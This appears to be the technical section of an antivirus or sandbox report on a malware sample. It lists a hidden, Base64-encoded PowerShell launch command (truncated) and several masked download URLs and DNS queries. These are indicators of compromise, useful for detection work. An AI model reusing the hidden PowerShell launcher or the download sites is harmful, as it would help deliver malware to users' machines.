Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -en JABHAHgAZgB5AGcAaQBmAGIAcgBjAGQAPQAnAFMAcQBwAGoAdAB1AHAAZAB1AHAAeAAnADsAJABVAHkAcABkAGwAZQBpAHMAaAB1AGcAIAA9ACAAJwAxADYAMgAnADsAJABCAGcAYgB3AHcAbABjAGIAagB2AGcAaQA9ACcATABjAHcAbQB...
- http://be######on.futurismdemo.com/archive/y5o7/
- http://od####ccounting.com/wp-includes/rest-api/search/R/
- http://mo####epetes.com/disneyworldclassroom/sy52j7/
- http://ba###tories.com/0hikvh/Jm4QTsHwF/
- DNS ASK be######on.futurismdemo.com
- DNS ASK gn#.###penizedev.com
- DNS ASK od####ccounting.com
- DNS ASK mo####epetes.com
- DNS ASK ba###tories.com